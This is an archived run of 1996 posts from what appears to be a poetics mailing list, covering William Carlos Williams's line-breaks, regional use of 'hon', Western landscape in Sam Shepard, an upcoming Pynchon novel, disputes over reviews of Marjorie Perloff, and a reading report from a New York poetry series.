WC/W//line/bre/aks
Tue 26 Nov 1996

Jordan, A decent book to start with is Stephen Cushman's William Carlos Williams and the Meaning of Measure (Yale University Press: 1985). Not the whole story on the subject but good on line-breaks.

Gary R

↑ Index

498. **maria damon**
Re: cutting the heroine
Tue 26 Nov 1996

---

maybe this is a sore thread, and i don't want to be accused of "censorship," so let me just say that for me, i have decided against using the word "denigrate," as it means "to insult or diminish by blackening," and has direct etymological connections to some of the words used to refer to Black people. don't jump all over me, please, i'm not being a pc police person, just sharing a personal decision w/ you all. --md

In message <[redacted]> UB Poetics discussion
group writes:
> At 03:24 PM 11/25/96 -0800, you wrote:
> >Charles -- I had much the same reaction as yours to the Stein piece --
> >but Stein was hardly the only icon to rteceive such treatment -- The Tina

> >Turner and Naomi Campbell pieces were certainly odd lots -- Does kind of
> >make you wonder what the editors thought they were up to with this issue --
> >
> >Hepburn got short, though laudatory, shrift -- too
>
> Yes, I agree. Particularly Tina Turner was insulted, I thought. In fact some
> of the treatment made me wonder if there was some underlying agenda to
> denigrate heroines in general.
>
> charles
>
> ---
> get off my back. the future fields into which I write are
> unimaginable. I do not know, any more than you do, what is
> around me, nor how far to go, nor precisely what I leave behind.
>
> --Beverly Dahlen
> from A Reading 8 - 10
> published by Chax Press
> ---

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499. **Eliza McGrand- CVA Guest**

flooded

Tue 26 Nov 1996

---

just as we are unable to agree on the line between east and west, plains and (non) plains(?), so the lovely poem by shaunanne tangney seems to merge body and land, flood and the flooding of sex, seasonal shift and relational shift. smudged borders... e

↑ Index

500. **wystan**

Re: NZ

Tue 26 Nov 1996

But George,
If you were a carpenter ...
Wystan.

↑ Index

501. **Patrick Foley**
Re: Williams' prosody and/or linebreaks
Tue 26 Nov 1996

Jordan --

There's a nice chapter called "Syntax in Rutherford" in Kenner's _The Pound Era_, where he analyses "Poem" (the cat & the jamcloset) line and even word by word and line. Mainly on the linebreaks. For prosody, dunno. Just the other day read some scurrilous remarks by John Hollander on the variable foot, lemme see: "Well, Williams probably copied that variable-foot format [the three descending indented partial lines of the late work] from Pound's earlier usage, except that what Williams says about the variable foot is sheer garbage. It doesn't make any sense."* Thank you, M. Hollander, for that clarification. May Williams return from the grave and piss on you from a great height.

Kenner, otoh, has this to say:

"He [WCW] struggled with the essay on Measure, could not subdue its roughness, abandoned it finally for greatly edited publication. An iambic pentameter civilization had ended; that was the principle he wanted to entrap, down among history's slow currents. In the essay, as elsewhere, he spoke of "the American idiom," a phrase whose virtu he had discovered late in life, and of "the variable foot," which seems like a rubber inch. Such terms do not deliver meaning; they are points for meditation. Take his three-ply line; take the remarkable passage in which he had first come upon it:

The descent beckons
as the ascent beckoned.
Memory is a kind

of accomplishment,
a sort of renewal
even

an initiation, since the spaces it opens are new places
inhabited by hordes
heretorfore unrealized,

of new kinds --
since their movements
are toward new objectives
(even though formerly they were abandoned).

-- Did he mean, for instance, each line to take up the same time? He at once said, Yes; then he said, More or less." Thus Kenner (pp. 541f.).

If you do find a good book on Williams's prosody, Jordan, do let us know.

Pat

*_The Poet's Other Voice: Conversations on Literary Translation_, ed. Edwin Honig, U Mass, 1985; p. 33.

↑ Index

502. **maz881**
Ear Inn Reading Report 11/23
Tue 26 Nov 1996

Thursday night the poets gather to hear Jennifer Moxley and Lisa Jarnot read poetry at the Segue space and the poets mill the room before the reading. I'm trying to figure out a way to kiss a poet girl when Douglass comes up from behind and puts a box on my head. It's a big box and it slides off my head and falls to the floor. It's a box with a new hat inside. A new hat. It's not just like it. I put the hat on and it's black with a broad brim from Moe's on the Lower East Side. Larry Fagin welcomes me to the brotherhood.

We sit for Lisa and I put the hat on the empty chair and point it so that catches the poems. Juliana wonders. Lisa announces this is an autobiography. Many people in the audience are captivated by her reading and by her use of the word bird. After the reading everyone tells her stories of their personal favorite bird. Also people want to know how "the piece" was an autobiography since it was mostly about birds. In Lisa's defense though, there was a short letter to Jennifer in the middle, also some abbreviated notes from Sea Lyrics, the deer in the headlights poem where she thinks hard for us all, the fire in buffalo, and maybe the word Lewis. Still, how could this then be said to constitute a new autobiography? People wanted to know.

The light on the bricks was bright on Jennifer when she read from her new Imagination Verses and from the spoon and fork chapbook with the quote from Marx which she didn't read:

". . . there develops the division
of labour, which was originally
nothing but the division of
labour in the sexual act. . . ."

Jennifer reads her poems very well and they put a space heater near your head, like one of those crane constructions the acupuncturist uses. After her musings folks tell her how the poems work better on the page. It's so abstract they say! And there's quotes around it!

The poets go to Lee Ann's for a book party celebrating Imagination Verses. Rob tells Juliana he really likes her new book and that he wants to write a review of it. It's so good it's like it's written by a machine! Jennifer talks about Poetry all

night with Rob. Kim Lyons has a good time with Laurie Price. People ask what's in my box. A rabbit I say. Lee Ann takes pictures and shows people her photo albums. I like looking at her photo albums and when I do, I always ask who knows more people than Lee Ann Brown?

Friday night the poets meet for dinner at Byron's Steakhouse. Douglass goes on about love desire as a social construct. The poets agree with Douglasses. Some attractions are too much for words I think and say pheronomes play a role too. O typical says Douglasss. Once we agree to throw god out the window, someone always tries to sneak biology in the back door. I tell Dug I didn't say anything about love desire as a social construct excluding god and do an anthropological study. I query the human database for information about words. The poets deem o god an appropriate repsonse and consider Drew Gardner's line in the arms of my lover the mind of god. Variants are proposed as well.

The poets walk to Marlene's for discussions, hornitos, and bud in the can. Marlene lives across the street from Sophies the bar. Marlene is a medieval scholar and speaks in phrases that begin with The monks do this and The scribes do that and is always quoting some obscure passionate text. I, however, do injustice to the rhetorical charms of Marlene de Grace; for her sentences are far more fancifully applied and beautifully subordinated than mine. To wit Marlene de Grace was born in the year of the monkey.

Marlene is concerned about TMI and constantly evaluates expressions as functions of this truth table. For example, Marlene announces she has just received two hot emails, but gallantly refuses to discuss them, denying multiple requests. She also denies Douglass whom she had promised to make out with once he shaved off his mustache, and his upper lip is clearly naked tonight. Tonight where he sits in the bathtub and sips on a clear bowl filled with Paul Masson brandy & complaints.

Marlene's point of her musings is missives and poses a question of email approaching more tactile missives between distant lovers. Shari is against email and proves it by taking off her shirt and modeling her black bra. Shari is convincing to everyone, but Marlene still likes her hot emails. We drink to both.

Marlene says she likes the love poems I sent her. She pretends to blush when I ask if they excite her. To prove she's not embarrassed, Marlene goes to the cupboard and pulls out my love poems to read them aloud. I get embarrassed and ask if my love poems are TMI. Anselm thinks not. Marlene reads one.

My lover & I kiss.
I put my fingers inside
my lover. I put my fingers
inside my lover's mouth.

I think this is known as
basting my lover.

Shari thinks bad poem because it reminds her of baster. Also, Shari's friend calls her at 3 am when he's getting the latin word and Shari too is having its compliment. Apparently they exhort one another. Marlene reads greed.

It's the last day
of my lover's visit
and she has gotten
herself all juicy.
I act greedy
& wipe the pillow
between her legs.
Greed does not
please my lover.

Stroffolino presents a lengthy dialectic about the pillow mediating and it leads to Eliot. Douglasses Shakespeare says the pillow is merely objective correlative and gets out of the tub. He goes across the street to get Marci at Sophies. If he gets Marci over to Marlene's & beer, then we won't go to Sophies like we said, for everyone at Marlene's.

Douglass comes back with Marci starts calling everyone a Bee-atch instead of a Bitch and is rambunctious. Also, Marci's glamour dyke friends are at Sophies and she wants us to follow like we said. All go to Sophies in the window.

We take off our coats & sit. Juliana gets up to buy a round and Douglass yells at Marci. Too Smokie Too Bars and This Bar and Too Crowded and All People Assholes and fuck you for Very Much. I switch the period into a comma after Douglasses last word, and scream Bee-atch at Marci, as if to second Douglasses nomination. Changing Douglasses punctuation angers him more. My hat is knocked off. He leaves and soon Marci leaves. Juliana brings back the round after Dug's wig. All are punish ed.

Saturday the poets walk to the Ear Inn over the Brooklyn Bridge. Crowded inside and some will not hear the not working speakers at. It's crowded inside with energy. Barbara Einzig is with her daughter and Hannah Wiener and other daughters and Breadloaf friends & Patricia Spears Jones and Maureen Owen and Lee Ann like a movie star & Julia Patton's coat and Janice Lowe and Johanna Drucker and young admirers who have brought books to sign. Susan Bee there is with Charles and Felix & Emma. Brenda Coultas is protesting K-mart. Juliana listens to Larry Fagin quote quote: "We want it clear, god knows, and we want it thick."

I introduce Patricia Spears Jones and say Brooklyn. Patricia New York has been a long time and was fabulously thin when she came here now fabulously thick. She reads poems from Coffee House book The Weather That Kills. Her rock and roll poems the house. A lot of different kinds of musics, but rock and roll's her favorite.

I collect money for the poets and staff. From the gate about 50 people attend. I tell Lydia 2 and read the protest that sparrow, Tim Davis, Brenda and others performed earlier that day:

Dear K-Mart, We welcome you to the East Village. We present you with all of our love and courage--we, The East Village Militia, the only legitimate and militant arm of the People. The following are our non-negotiable demands:

1) Free jazz concerts every Monday night in the greeting card dept., with each musician to be paid $1000 per gig. (We know for a fact you can afford this). 2) Poetry readings each Wed. night in the Sports And Recreation dept. (The poets will be unpaid.) 3) For 15 min. every Tuesday, the entire contents of the store will be free. 4) Drag queens get a !0% discount at all times, with proof of gender. 5) Every 6 months a noted East Village designer will create new K-Mart uniforms. 6) Flout archaic laws! Sell heroin (cheaply) in your pharmacy!

We cheerfully await a response to our non-negotiable demands.

God Is A

Woman,

The East

Village Militia

I introduce Lydia as being influenced by Brooklyn and as possibly of memory. She will read from her new collection of old stories called Almost No Memory. She is also going to translate Proust. I always forget the name of that book.

Lydia's little scalpel stories kill the audience.

Lydia ends by reading the piece about reading Foucault on a train and not being able to get through a particular sentence while her pencil, the eraser and marks stray and intentional do battle. She prefaces the Foucault piece by talking about San Diego and the old days and how she had doubts about the efficacy of the then new Foucault piece before reading it at a reading there. I laughed loudly when she read it & she felt immensely reassured and thereafter read with great confidence. I flattered. Poets laugh more in the west I guess. This surprises me because I thought New York was the capital of funny poets. For example, after I moved to New York and met Bernadette Mayer, she said o you're the guy who laughs at readings.

The poets are satisfied with the days work. I tell them to come back next week for Ross Brockley's alternative comedy and Jim Krell's east village love poems. And if you're not watching north americans play football on sunday, Anselm Berrigan and I are reading at the Fall Cafe in Brooklyn at 3:00pm, Smith St @ President. Finally I say Charles Borkhuis' Ear Inn series starts on Dec 7 with Abigail Child & Ron Silliman. Come early for lunch. Stay late for dinner.

↑ Index

503. **MAXINE CHERNOFF**

Re: Philadelphia/California with Ron Silliman

Tue 26 Nov 1996

I would agree that "hon" is more Chicagoese than what I imagine indigenous(sp?) to CA. In 41 years in Chicago, I heard "hon" daily, weekly? Haven't heard it since I arrived in CA 3 years ago.

Point Two: How about Sam Shepard's plays and journals as Western poetry?

Point Three: I teach in Creative Writing at SF State, so I can't report on what's happening in English, but I know from how budget lines work that many department are being given permission to add one or two more full-time tenure-track faculty without being given new budget lines for those positions. Therefore, positions must be carved out of the existing budget, which leads to a loss of part-time faculty. In the case of creative writing, we have an asst. professor of poetry position open for next fall (deadline Dec 15). We have no new $$ for this position, so we have to somehow fund it ourselves.

Maxine Chernoff

On Tue, 26 Nov 1996, Eryque Gleason wrote:

> *what part of california? in the four years or so that i lived in fresno the only person to ever call me hon was my grandmother, and that was long distance from chicago.*
>
> *~e*
>
> *On Tue, 26 Nov 1996, Michael Boughn wrote:*
>
> *That would be my dream: to be called Madame all the time as in "Bonjour Madame," "bon weekend Madame." Ron, you'll end up finding the greater formality kind of nice after a bit.*
>
> *xxxxx*
> *Marjorie*

> *Those of us who were born and grew up in California have a natural preference for the title "hon", as in "whata ya want with your eggs, hon, bacon or sausage?" The Madams all lived in Nevada.*
>
> *Mike*
> [redacted]

↑ Index

504. **marisa.januzzi**
Re: heroines & such
Tue 26 Nov 1996

Hi Charles--

Great letter-- if they print it, they will call you first. Ask if they will tell you how exactly they intend to edit the letter.

I say this because my letter to the NYTBR protesting their treatment of Burke's biography of Mina Loy was edited completely against the grain.

I wouldn't have thought the final text as it appeared there possible to adduce from my own, but.

I wouldn't have believed the *review* as written wld appear there either.

Learning to write against byte-- Marisa

↑ Index

505. **Nathaniel Dorward**
Recordings/general greetings
Tue 26 Nov 1996

Been lurking on this list for the last few weeks, so thought it's high time I post something. So: first, hello. And secondly: was looking for information on getting recordings of "performance-oriented"/improvised poetry, particularly Steve Benson, David Bromige, FA Templeton, Bruce Andrews. I've got Mac Low's CD _Open Secrets_ on order from Verge but that's all that's listed in their catalogue. I ask from personal interest but also because I'm trying to convince the folks on the board of a new music/performance organization I belong to that bringing this sort of stuff in is a _good idea_ (I'm trying to overcome some initial resistance....). -- OK: thanks. --N

*

Nate Dorward ([redacted])
website: http://is2.dal.ca/~ndorward/

↑ Index

506. Aldon L. Nielsen
Re: "denigration"
Wed 27 Nov 1996

puzzling language, this English -- "denigrate" means to blacken, but "de-ni-grate" means to unblacken, which is what Tina Turner was accused of (though the author of the piece seemed a bit vague on what she was up to in her first, longer-wigged period) --

↑ Index

507. George Bowering
Re: Williams' prosody and/or linebreaks
Wed 27 Nov 1996

> *Anybody know*
> *of any work that*
> *deals*
> *intelligently*
> *and clearly*
> *with William Carlos*
> *Williams' prosody*
> *and/or*
> *linebreaks?*
>
> *Hunkered,*
> *Jordan*

I wonder whether Michael B. knows this one. Years ago there was a woman at Univ. of Toronto wrote a piece that convincingly demonstrated that the line=breaks and the reading rhythm were different, and for a purpose. That's all I can remember of that. That's my scholarship for tonight. I have just been to the launch of Daphne Marlatt's new novel _Taken_, though.

George Bowering.

,

2499 West 37th Ave.,
Vancouver, B.C.,
Canada V6M 1P4

fax: [redacted]
e-mail: [redacted]

↑ Index

508. George Bowering
Re: hon
Wed 27 Nov 1996

This is weird.
At Daphne Marlatt's launch for her new book tonight I called her "Hon," having known her since 1961.

Then I come home and find this "Hon" string on the screen. I have never been in Chicago, either. Once I drove by Gary, and once I stayed in a motel near O'Hara. No one called me "Hon" there. But once on a Bus out of Detroit, a woman I didnt know called me "Sugar".

George Bowering.
,
2499 West 37th Ave.,
Vancouver, B.C.,
Canada V6M 1P4

fax: [redacted]
e-mail: [redacted]

↑ Index

509. George Bowering
*Re: l%a*n([redacted]!a_g#e*
Wed 27 Nov 1996

The Canadian edition of the L=A=N=G=U=A=G=E anthology was run as a number of _Open Letter_. Maybe there's a copy or two of that. Address Frank Davey, at [redacted]

George Bowering.
,
2499 West 37th Ave.,
Vancouver, B.C.,
Canada V6M 1P4

fax: [redacted]
e-mail: [redacted]

↑ Index

510. Brian Carpenter
Re: Williams' prosody and/or linebreaks
Wed 27 Nov 1996

I've recently been doing some work on _Paterson_ and have found Brian Bremen's _WCW and the Diagnostics of Culture_ exquisitely insightful. On prosody see especially his opening chapter, but there is fairly consistent coverage of it throughout, so you'll find finger-through to be worth your while.

Patrick Foley noted some Kenner work. This reminded me of casual note which Mike Weaver slipped into his Williams bio:

"Hugh Kenner, who editied Williams' final essay on 'Measure,' has suggested that Williams' use of the three-part line of the late poems stemmed from his inability to read after the brain damage of his strokes"

> His eyes could follow a line but not jump back and locate
> accurately the beginning of the next line...I'm convinced
> that the 3-ply typography of his late verse was originally
> a set of helps (with the tab stops) for just such
> line-finding in rereading."

(Weaver, _WCW and the American Background_, 85-6)

Thought that was pretty wild when I first read it. Still not quite sure what to make of it. Anyhow, there ya go.

==bc

↑ Index

511. Pierre Joris
Re: Philadelphia/California with Ron Silliman
Wed 27 Nov 1996

MAXINE CHERNOFF wrote:

....
> Point Two: How about Sam Shepard's plays and journals as Western poetry?
...

yes indeed -- that's why I brought him up in my last post to the list -- & thus the European fascination with his work & a movie like PARIS, TEXAS which tried to address those western scenes & scapes.

Hmm, come to think of it, one could argue that the art form of & for the West(ern) is film more than poetry??
--
pierre joris 6 madison place albany ny 12202

tel/fax [redacted] email:[redacted]
http://writing.upenn.edu/epc/authors/joris/
http://www.albany.edu/~tm0900/nomad.html

I do not believe that there ever was a question of being
abstract or representational. It is really a matter of
ending this silence and solitude, of breathing and
stretching one's arms again.

Mark Rothko

↑ Index

512. Pierre Joris
Re: Recordings/general greetings
Wed 27 Nov 1996

Nathaniel Dorward wrote:
>
> Been lurking on this list for the last few weeks, so thought it's high
> time I post something. So: first, hello. And secondly: was looking for
> information on getting recordings of "performance-oriented"/improvised
> poetry
>

Nate -- meet Nate, i.e. get Nate Mackey's cd "Strick / Song of the Andoumboulou 16-25" (Nathaniel Mackey with Royal Hartigan and Hafez Modirzadeh), on _Spoken Engine_. (They also have a good cd by -- hm, can't get out of the Nates this morn -- Nathaniel Tarn called "I think this may be Eden." Spoken Engine is trying to do a much needed job & should be supported. Their address is: PO Box 771739, Memphis, TN 38177-1739.

For a non-Nate, try cris cheek's "skin upon skin" from Sound & Language, which is cris with help, I think. as cc is on the list he may jump in & give you more details.

pierre

--
pierre joris 6 madison place albany ny 12202
tel/fax [redacted] email:[redacted]
http://writing.upenn.edu/epc/authors/joris/
http://www.albany.edu/~tm0900/nomad.html

I do not believe that there ever was a question of being
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Mark Rothko

↑ Index

513. Ron Silliman
for Madam Perloff
Wed 27 Nov 1996

Madam Perloff,

There is a scurrilous piece in the Sunday Philadelphia Inquirer by Carlin Romano -- the books editor there -- that purports to be a review of Wittgenstein's Ladder. If I understand Romano's reasoning rightly, you fail to understand that there were two Wittgensteins -- the "good" Wittgenstein (very tidy, the world in 7 sentences, passing over what cannot be spoken) and his evil twin (untidy, wishing he could speak to the lions) and, worse yet, make this confusion in the defense of a "mediocrity" such G. Stein. I'll send you a copy.

Since Romano's a significant step up from Pat Holt of the SF Comical (tho he's given to the outrageous gesture, as when he began a review of a Catherine Mackinnon book in The Nation with a "thought experiment" about what it would be like to rape her), this comes as a let down.

Newspaper book reviewers are their own breed. Or in-breed. Rather like one of those X-File experiments gone bad.

When Holt took over the Comical job from William Hogan, she ran a piece announcing that her intentions were to focus on serious writing and regional (N. California) literature. The very next day, the Chron's book review was of The British Book of Cats. It's been downhill from there.

Hogan apparently gave a positive review to the first edition of Olson's Call Me Ishmael and traded on that with the local poets for years as a sign that he was "with it." When Dianne Feinstein declared Robert Duncan Day on his 60th birthday, Hogan, who was on the city's arts commission and rather into his dotage, read the official announcement which listed Robert's books. Hogan thought the list was a poem and gave it a rather dramatic reading before someone (Ruth Asawa?) corrected him.

What we cannot speak about, we must pass over in irony,

Just call me,
Ron

↑ Index

514. **Michael Boughn**
Re: Philadelphia/California with Ron Silliman
Wed 27 Nov 1996

> *what part of california? in the four years or so that i lived in fresno the only person to ever call me hon was my grandmother, and that was long distance from chicago.*
>
> *~e*

Every greasy spoon from Barstow to Banning.

Mike
[redacted]

↑ Index

515. **Brian Carpenter**
pynchon
Wed 27 Nov 1996

I'm almost ashamed to say it, but I was reading TIME (eep!) not long ago and saw a short blurb in the purported arts-section mentioning that a new Thomas Pynchon book is coming out soon. Anyone know about this?

Idley--

Brian

↑ Index

516. **pollet**
Re: heroines & such
Wed 27 Nov 1996

Marisa, that was really interesting about how the NYTBR changed you letter protesting the dismissive review of Mina Loy's work. I, for one, would like to see you post both versions here. If you don't want to post them, maybe you could send them to me privately. But I'm sure others would be curious too, and it's the sort of abuse of editorial power we all need to be aware of & fight against. thanks, Sylvester

↑ Index

517. **tmandel**
Whom called by who Hon, when, eh?
Wed 27 Nov 1996

You want to be called "hon," you need go no further west than Balto. If being so addressed kept one w/in bounds, never would you get beyond Pikesville agin (I say "agin" -- I'm a *Western* Jew you know, saddlephardic).

More on Baltimore language might be supplied by Ron's wife (his hon) Krishna Evans.

Btw, I missed Ron's original meditation (I don't read this list every day to say the least, just *sigh* when I see the digest's extent) -- can anyone email me with date info for it? Thanks pohdner.

Tom

****
Tom Mandel * 2927 Tilden St. NW
Washington DC 20008 * [redacted]
vox: [redacted] * fax [redacted]
****

↑ Index

518. **MAXINE CHERNOFF**
Re: Philadelphia/California with Ron Silliman
Wed 27 Nov 1996

In Sam Shepard's new book of vignettes, "Cruising Paradise," he is being interviewed by a Swedish journalist who says the landscape is the star of American westerns and that Europeans view them for that reason alone. Maxine Chernoff

On Wed, 27 Nov 1996, Pierre Joris wrote:

> *MAXINE CHERNOFF wrote:*
>
> *....*
> *Point Two: How about Sam Shepard's plays and journals as Western poetry?*
> *...*
>
> *yes indeed -- that's why I brought him up in my last post to the list --*
> *& thus the European fascination with his work & a movie like PARIS,*
> *TEXAS which tried to address those western scenes & scapes.*
>
> *Hmm, come to think of it, one could argue that the art form of & for the*
> *West(ern) is film more than poetry??*
> *--*
> *pierre joris 6 madison place albany ny 12202*

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> *http://www.albany.edu/~tm0900/nomad.html*
> *----------*
> *I do not believe that there ever was a question of being abstract or representational. It is really a matter of ending this silence and solitude, of breathing and stretching one's arms again.*
>
> *Mark Rothko*

↑ Index

519. **groberts**
Re: pynchon
Wed 27 Nov 1996

Maybe called Mason and Dixon, due out in late spring next year. Saw this announcement added to a bit about someone tracking Pynchon via his credit card purchases. We await silent Tristero's empire... Gary R

↑ Index

520. **Pritchett,Pat**
Re: Philadelphia/California with Ron Sil
Wed 27 Nov 1996

Maxine,

That's an interesting point, though it smacks a little of interviewese glibness. Jane Tompkins, in her book _West of Everything: The Inner Life of Westerns_ devotes a lot of time to the masochistic element in Westerns. You could say that pain shares co-billing with landscape. The "star of the Western" could also be the hero's subjection to and overcoming of pain, esp. in many of Anthony Mann's great films, like "Man of the West," which don't feature landscape very prominently.

Burrs in my chaps,
Patrick Pritchett

From: MAXINE CHERNOFF
To: POETICS
Subject: Re: Philadelphia/California with Ron Silliman
Date: Wednesday, November 27, 1996 9:42AM

In Sam Shepard's new book of vignettes, "Cruising Paradise," he is being interviewed by a Swedish journalist who says the landscape is the star of American westerns and that Europeans view them for that reason alone. Maxine Chernoff

↑ Index

521. **tmandel**
brrrs under my saddlophobia
Wed 27 Nov 1996

Got the date of, and several copies of, Ron's Ruminations

thanks to all.

tom

****
Tom Mandel * 2927 Tilden St. NW
Washington DC 20008 * [redacted]
vox: [redacted] * fax [redacted]
****

↑ Index

522. **main**
Re: Philadelphia/California with Ron Silliman
Wed 27 Nov 1996

---

i'm picking up the west/shepard/filmic space thread piecemeal, but an interesting take on western space from an american-european is sobin's "road, roadsides, and the disparate frames of sequence" in _voyaging portraits_: assembled from travel notes and dedicated to wim wenders (_paris, texas_). to my mind, sobin's work is a fascinating meditation on the intersections of language and space.

dan featherston

↑ Index

523. **Michael Coffey**
pynchon -Reply
Wed 27 Nov 1996

>>> Brian Carpenter <[redacted]> 11/27/96 09:31am >>>
I'm almost ashamed to say it, but I was reading TIME (eep!) not long ago
and saw a short blurb in the purported arts-section mentioning that a
new
Thomas Pynchon book is coming out soon. Anyone know about this?

Idley--

Brian

Yes, Pynchon's novel, Mason & Dixon, due from Henry Holt in April, 200,000 first printing , the publisher says. A fictional account of the lives of British surveyors Charles Mason and Jeremiah Dixon, a story, according to Publishers Weekly, that Pynchon fanatics have said has been in the works for years.

set in pre-rvolutionary war america, according to pr stuff from holt, "that will please pynchon fans."

Ray Roberts, pynchon's long-time editor, also noted that the book The Letters of Wanda Tinasky, a paperback published in June, purported to be the lettters Pynchon wrote to the Anderson Valley Advertiser, was not the work of TP.

↑ Index

524. Eryque Gleason
Re: honey diners
Wed 27 Nov 1996

---

mike boughn wrote:
>Every greasy spoon from Barstow to Banning.

come to think of it i was called hon in a diner once. but diners is different i think. seems like even west coast diners model themselves after more eastern diners from the movies.

i think i knew i was in the east when i stopped in a diner an hour after arriving in albany and the waitress said "what can i get yaz?" first time i was ever called yaz before.

eryque

↑ Index

525. David Kellogg
Chax
Wed 27 Nov 1996

Can somebody backchannel me the current email of Chax boox? Thanx.

Cheers,
David
~~~
~~~

Durham, NC 27708 FAX [redacted]
http://www.duke.edu/~kellogg/

↑ Index

526. **Aldon L. Nielsen**
Re: Pynchonesque
Wed 27 Nov 1996

What I've heard is that this book is to be the long awaited "Mason-Dixon" novel -- but haven't seen advance copy yet --

↑ Index

527. **Aldon L. Nielsen**
Re: Comparative Perloff Studies
Wed 27 Nov 1996

There's an even nastier attack on Marjorie's work in Walter Benn Michaels's footnotes to his reponse to critics of _Our America_ in _Modernism/Modernity_ -- Where Walter sniffs that he's not about to be lectured to on poetry by someone who actually admires Charles Bernstein --

What class -- manages to make stinky remarks about two people in the same sentence --

But then, to judge from my reading of Walter's book, he has a reading problem-- perhaps he will write the next one in three-stepped lines--

(Well, I suppose I should give an example -- so nobody will think I'm just being my usual snotty self -- here's one on a subject of which I know something at least --

Our America pg. 68

speaking of a well-known line in Benet's _John Brown's Body_:

"Benet's essentially pluralistic nationalism commits him more truly to denying that he can represent the Negro at all than to representing him well. The discovery of the 'American thing' thus appears most certainly in the assertion of what the 'American Muse' _can't_ sing: the Negro, the alien."

Now, anybody who's actually read Benet's poem may find this a bit surprising, since Benet represents any number of Negroes in his lines -- Walter can't seem to distinguish between represntation as speaking _of_ and as speaking _for_. Benet offers representations of American blacks all through the poem (that's part of the problem, how he does it!) -- what he declines is to speak in the place of black people --

Always seemed pretty clear to me, but what do I know, what do I know, of academia's austere and lonely offices??)

↑ Index

528. Karl Richter
Re: pynchon
Wed 27 Nov 1996

On Wed, 27 Nov 1996, Brian Carpenter wrote:

> I'm almost ashamed to say it, but I was reading TIME (eep!) not long ago
> and saw a short blurb in the purported arts-section mentioning that a new
> Thomas Pynchon book is coming out soon. Anyone know about this?
>
> Idley--
>
> Brian
>
Howdy. I hadn't heard about Pynchon, but I have it on good authority that Orchises Press will be bringing out a new novel by J.D. Salinger (!) soon. No kidding. Maybe this is old news to y'all (as we say here in Lubbock, TX), but it came as an eyebrow-raiser to me....

Karl Richter
(lurking heretofore)

↑ Index

529. Henry Gould
nedge promo/info/sonnet/etc.
Wed 27 Nov 1996

I'm away to London lucky me until Dec. 9th, dear list, so you may all give thanks now for a little less bandwidth & banter for a while...

& much thanks to Loss Glazier for updated Nedge listing in EPC mag alcove - you can actually see what the covers look like, & tell a book thereby... http://writing.upenn.edu/epc/mags - more info to come, I hear. Nedge is reading poems/prose/essays/reviews for #5 & encourage sending your work, dear list members!

& speaking of London here's a little sonneturkey for Thanksgiving - happy holidays, gang! - Henry Gould

34

Shakespeare was Bacon on a sunshine stage,
a secret agent, or unperfect actor
and if this is a crown
it's a fool's crown, or
crown of dogwood splinters, wreath'd
with your absent part & three parts rage

Is it megalomania or is it shame
that drove me from the Doctors into wilderness
& set me spinning toward your globe of fame?

& when those Aprils born of tenderness
hail down sweet kelsons of the cosmic frame-
up I'll be standing in my shepherd's weeds a wildness

tamed by what I know comes not from me:
adhesive happenstance--O Chair of Anonymity

HG

↑ Index

530. **Burt Kimmelman**
Re: heroines & such
Wed 27 Nov 1996

Marisa,

I too would like to see both versions of your letter to the NYTBR (I read the one that was printed and was glad that it was in fact printed.)

Burt

↑ Index

531. **Ken Edwards**
Sleight of Foot
Wed 27 Nov 1996

REALITY STREET EDITIONS
presents
the first in the new series 4PACKS:

Sleight
 of Foot

Miles Champion
Helen Kidd

Harriet Tarlo
Scott Thurston

A collection of lengthy selections (up to 18pp each) from four poets who had not at the time of commissioning had a substantial book of their own published, and who are working in the innovative and modernist traditions of other authors on the RSE list. RSE hopes this will be the first in a series of similar mini-anthologies showcasing younger and/or less well exposed poets.

Funding from London Arts Board/Eastern Arts Board gratefully acknowledged.

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532. **acgold01**
WCW, Duncan
Wed 27 Nov 1996

Alan Golding
Prof. of English, Univ. of Louisville
[redacted]; [redacted]

Jordan--Beyond what others have mentioned on WCW's prosody, Henry Sayre's *The Visual Text of William Carlos Williams* (Illinois, c. 1983) has some good stuff on his prosody as visual. And the distinguished Mme. Perloff (bonjour, Marjorie, ma cherie) writes on his prosody in the context of contrasting it with Oppen's in her essay in the NPF *George Oppen: Man and Poet* collection.

While I hate to find myself agreeing with John Hollander, I too tend to think that most of WCW's theorizing about the variable foot, etc, is garbage. Now his *practice* is a whole other matter . . .

Damn! Splat! Here comes Bill's pee, invoked by Pat. (How's that? Iambic pentameter with an internal rhyme. John Hollander would love it.) While I'm displaying my ignorance, here's a question that one(s) of you will know. Where does Duncan describe himself as a derivative poet? (Outside of the NAP note where he credits Helen Adam with helping him to acknowledge his own derivativeness.) It's one of those that "everyone" "knows" about Duncan, but I need a specific citation.

Thanks, and happy Thanksgiving to all.

Alan

One of those "things," that is, that everyone knows about Duncan. Except me, obviously.

↑ Index

533. **manowak**
Xcp (Cross-Cultural Poetics) Website
Wed 27 Nov 1996

While some sections are still under construction, the website for Xcp is now open. The site includes the "Call for Papers" for our conference at the University of Minnesota next October (posted here several weeks ago by Maria Damon) and an outline of Xcp's plans/projects.

Visit us at: freenet.buffalo.edu/~xcp

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534. **amato**
Re: Comparative Perloff Studies
Wed 27 Nov 1996

---

yes, aldon & others -- i was really put-off by michaels's comments directed at marjorie, and his seemingly incidental slam of charles b... so put-off in fact that i've written r. von hallberg as editor of_modernism/modernity_ to say so...

joe

↑ Index

535. **David Golumbia**
benjamin
Wed 27 Nov 1996

Just on the heels of Rod et al suggesting Harvard UP is coming out with Benjamin's collected papers, I think I spied Vol. I of same at my corner bookstore this evening in just-out-of-the-box cloth -- in a hurry with groceries or I would've looked more carefully --

--
[redacted]
David Golumbia

↑ Index

536. **aerialedge**
Re: benjamin
Thu 28 Nov 1996

Yes, Benjamin Harvard _Selected Writings Vol 1_ is out, $35. Includes all of "One Way Street" -- available to Poeticser for usual 10% discount & free ship-pin'. It will be on next Bridge St list of new titles but feel free to order now.

--Rod

↑ Index

537. **Peter Quartermain**
Re: heroines & such
Thu 28 Nov 1996

Now that's a damn good idea. Please post both, Marisa.

Peter

At 09:45 AM 11/27/96 EST, you wrote:
>Marisa, that was really interesting about how the NYTBR changed you letter
>protesting the dismissive review of Mina Loy's work. I, for one, would
>like to see you post both versions here. If you don't want to post them,
>maybe you could send them to me privately. But I'm sure others would be
>curious too, and it's the sort of abuse of editorial power we all need to
>be aware of & fight against. thanks, Sylvester
>
>
+ +

Peter Quartermain
128 East 23rd Avenue
Vancouver
B.C.
Canada V5V 1X2
Voice and fax: [redacted]

+ +

↑ Index

538. **Marjorie Perloff**
Re: Bad reviews
Thu 28 Nov 1996

Dear Ron,Aldon and others:

